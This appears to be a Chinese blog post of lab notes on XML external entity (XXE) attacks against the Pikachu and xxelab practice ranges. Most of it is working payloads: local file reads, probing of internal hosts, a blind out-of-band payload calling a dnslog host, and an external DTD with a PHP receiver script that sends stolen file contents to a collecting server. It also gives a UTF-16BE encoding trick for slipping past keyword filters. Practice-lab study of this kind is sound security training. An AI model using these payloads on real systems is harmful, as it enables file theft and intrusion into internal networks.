pikaqu靶场xml数据传输测试-有回显,玩法,协议,引入
1、构造payload
写文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note[
<!ENTITY write "good boy,this is a test"> ]>
<note>
&write;
</note>
读文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///f://phpstudy55//phpstudy_pro//WWW//pikachu//test.txt"> ]>
<x>
&xxe;
</x>
2、玩法-内网探针-内网应用攻击
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://10.133.6.123:81/test.txt">]>
<x>
&rabbit;
</x>
无回显
成功探测到80端口开放和81端口文件读取;
3、无回显,构造payload
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://bsken8.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
引入外部实体dtd(类似远程文件包含)
1、构造payload,读取test.txt内容,发送给http://127.0.0.1:81/test.dtd
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///f://phpstudy55//phpstudy_pro//WWW//pikachu//test.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:81/xxe.dtd">
%remote;
%all;
]>
<root>&send;</root>
xxe.dtd ,接收数据到get.php文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:81/get.php?file=%25file;'>">
get.php内容:将接收到的数据写入到file.txt文件中。
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
关键词ENTITY、SYSTEM、file过滤
使用编码绕过:UTF-16BE
xxelab靶场测试
抓包判断是否存在xml;
存在<user><username>1</username><password>1</password></user>
构造payload验证;
<?xml version="1.0"?>
<!DOCTYPE Mikasa[
<!ENTITY test SYSTEM "file:///f://phpstudy55//phpstudy_pro//WWW//pikachu//test.txt"> ]>
<user><username>&test;</username><password>Mikasa</password></user>
标签:XML,文件,file,构造,dtd,6.2,XXE,test,payload
From: https://www.cnblogs.com/lusang/p/18227315